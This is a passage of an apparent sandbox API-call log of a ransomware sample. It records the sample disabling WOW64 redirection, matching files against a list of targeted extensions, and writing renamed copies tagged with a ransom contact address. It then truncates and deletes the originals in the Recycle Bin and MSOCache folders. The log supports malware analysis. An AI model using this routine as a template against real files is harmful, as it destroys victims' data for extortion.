returned 0x2e8b8 [0133.590] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.697] GetTickCount () returned 0x2e926 [0133.697] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.807] GetTickCount () returned 0x2e993 [0133.807] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.916] GetTickCount () returned 0x2ea00 [0133.916] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.025] GetTickCount () returned 0x2ea6d [0134.025] GetTickCount () returned 0x2ea6d [0134.025] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.135] GetTickCount () returned 0x2eada [0134.135] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.243] GetTickCount () returned 0x2eb48 [0134.244] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.353] GetTickCount () returned 0x2ebb5 [0134.353] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.462] GetTickCount () returned 0x2ec22 [0134.462] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.571] GetTickCount () returned 0x2ec8f [0134.571] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.680] GetTickCount () returned 0x2ecfc [0134.680] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.790] GetTickCount () returned 0x2ed6a [0134.790] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0134.899] GetTickCount () returned 0x2edd7 [0134.899] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0135.008] GetTickCount () returned 0x2ee44 [0135.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0135.238] GetTickCount () returned 0x2eef0 [0135.238] GetTickCount () returned 0x2eef0 [0135.238] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0135.511] GetTickCount () returned 0x2f008 [0135.511] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0135.652] GetTickCount () returned 0x2f095 [0135.652] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0135.996] GetTickCount () returned 0x2f1ec [0135.996] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0137.502] GetTickCount () returned 0x2f7c6 [0137.502] GetTickCount () returned 0x2f7c6 [0137.502] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0137.708] GetTickCount () returned 0x2f8a0 [0137.708] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) Thread: id = 19 os_tid = 0xb3c [0113.845] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0113.845] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0113.845] Wow64DisableWow64FsRedirection (in: OldValue=0xa7fd28 | out: OldValue=0xa7fd28*=0x0) returned 1 [0113.845] lstrlenW (lpString="kernel32.dll") returned 12 [0113.845] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0113.845] Sleep (dwMilliseconds=0x64) [0114.171] lstrcmpiW (lpString1=".ini", lpString2=".gdb") returned 1 [0114.171] lstrlenW (lpString="desktop.ini") returned 11 [0114.172] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.172] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=129) returned 1 [0114.172] CloseHandle (hObject=0x164) returned 1 [0114.172] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0114.172] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.172] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.172] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.172] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.172] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.217] GetLastError () returned 0x0 [0114.217] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x81, lpOverlapped=0x0) returned 1 [0114.229] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x90, lpOverlapped=0x0) returned 1 [0114.229] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0114.229] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0114.230] SetEndOfFile (hFile=0x15c) returned 1 [0114.230] CloseHandle (hObject=0x15c) returned 1 [0114.230] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.230] SetEndOfFile (hFile=0x164) returned 1 [0114.231] CloseHandle (hObject=0x164) returned 1 [0114.231] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x26) returned 1 [0114.231] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString=".doc") returned 4 [0114.232] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0114.232] lstrlenW (lpString=".docx") returned 5 [0114.232] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0114.232] lstrlenW (lpString=".pdf") returned 4 [0114.232] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString=".xls") returned 4 [0114.232] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString=".xlsx") returned 5 [0114.232] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0114.232] lstrlenW (lpString=".ppt") returned 4 [0114.232] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString=".zip") returned 4 [0114.232] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString=".rar") returned 4 [0114.232] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString=".bz2") returned 4 [0114.232] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0114.232] lstrlenW (lpString=".7z") returned 3 [0114.232] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString=".dbf") returned 4 [0114.232] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString=".1cd") returned 4 [0114.232] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString=".jpg") returned 4 [0114.232] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.232] lstrlenW (lpString=".doc") returned 4 [0114.232] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0114.232] lstrlenW (lpString=".docx") returned 5 [0114.232] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0114.232] lstrlenW (lpString=".pdf") returned 4 [0114.232] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString=".xls") returned 4 [0114.232] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0114.232] lstrlenW (lpString=".xlsx") returned 5 [0114.233] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0114.233] lstrlenW (lpString=".ppt") returned 4 [0114.233] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0114.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.233] lstrlenW (lpString=".zip") returned 4 [0114.233] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0114.233] lstrlenW (lpString=".rar") returned 4 [0114.233] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0114.233] lstrlenW (lpString=".bz2") returned 4 [0114.233] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0114.233] lstrlenW (lpString=".7z") returned 3 [0114.233] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0114.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.233] lstrlenW (lpString=".dbf") returned 4 [0114.233] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0114.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.233] lstrlenW (lpString=".1cd") returned 4 [0114.233] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0114.233] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0114.233] lstrlenW (lpString=".jpg") returned 4 [0114.233] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0114.233] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.233] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0114.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.234] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1450) returned 1 [0114.234] CloseHandle (hObject=0x164) returned 1 [0114.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0114.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.234] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.234] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.235] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.358] GetLastError () returned 0x0 [0114.358] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x5aa, lpOverlapped=0x0) returned 1 [0114.359] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5b0, lpOverlapped=0x0) returned 1 [0114.360] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0114.360] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xf6, lpOverlapped=0x0) returned 1 [0114.360] SetEndOfFile (hFile=0x15c) returned 1 [0114.361] CloseHandle (hObject=0x15c) returned 1 [0114.361] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.361] SetEndOfFile (hFile=0x164) returned 1 [0114.362] CloseHandle (hObject=0x164) returned 1 [0114.362] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.362] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString=".doc") returned 4 [0114.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString=".docx") returned 5 [0114.363] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.363] lstrlenW (lpString=".pdf") returned 4 [0114.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString=".xls") returned 4 [0114.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString=".xlsx") returned 5 [0114.363] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.363] lstrlenW (lpString=".ppt") returned 4 [0114.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString=".zip") returned 4 [0114.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.363] lstrlenW (lpString=".rar") returned 4 [0114.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString=".bz2") returned 4 [0114.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString=".7z") returned 3 [0114.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString=".dbf") returned 4 [0114.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString=".1cd") returned 4 [0114.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString=".jpg") returned 4 [0114.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.363] lstrlenW (lpString=".doc") returned 4 [0114.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.363] lstrlenW (lpString=".docx") returned 5 [0114.363] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.364] lstrlenW (lpString=".pdf") returned 4 [0114.364] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString=".xls") returned 4 [0114.364] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString=".xlsx") returned 5 [0114.364] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.364] lstrlenW (lpString=".ppt") returned 4 [0114.364] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.364] lstrlenW (lpString=".zip") returned 4 [0114.364] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.364] lstrlenW (lpString=".rar") returned 4 [0114.364] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString=".bz2") returned 4 [0114.364] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString=".7z") returned 3 [0114.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.364] lstrlenW (lpString=".dbf") returned 4 [0114.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.364] lstrlenW (lpString=".1cd") returned 4 [0114.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0114.364] lstrlenW (lpString=".jpg") returned 4 [0114.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.364] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.364] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0114.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.366] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1450) returned 1 [0114.366] CloseHandle (hObject=0x164) returned 1 [0114.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0114.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.366] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.366] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.366] GetLastError () returned 0x0 [0114.366] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x5aa, lpOverlapped=0x0) returned 1 [0114.367] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5b0, lpOverlapped=0x0) returned 1 [0114.368] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0114.368] WriteFile (in: hFile=0x15c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xf4, lpOverlapped=0x0) returned 1 [0114.368] SetEndOfFile (hFile=0x15c) returned 1 [0114.368] CloseHandle (hObject=0x15c) returned 1 [0114.369] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0114.369] SetEndOfFile (hFile=0x164) returned 1 [0114.370] CloseHandle (hObject=0x164) returned 1 [0114.370] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.370] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0114.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.370] lstrlenW (lpString=".doc") returned 4 [0114.371] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".docx") returned 5 [0114.371] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.371] lstrlenW (lpString=".pdf") returned 4 [0114.371] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".xls") returned 4 [0114.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString=".xlsx") returned 5 [0114.371] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.371] lstrlenW (lpString=".ppt") returned 4 [0114.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0114.371] lstrlenW (lpString=".zip") returned 4 [0114.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.371] lstrlenW (lpString=".rar") returned 4 [0114.371] lstrcmpiW (lpString1=".rar", 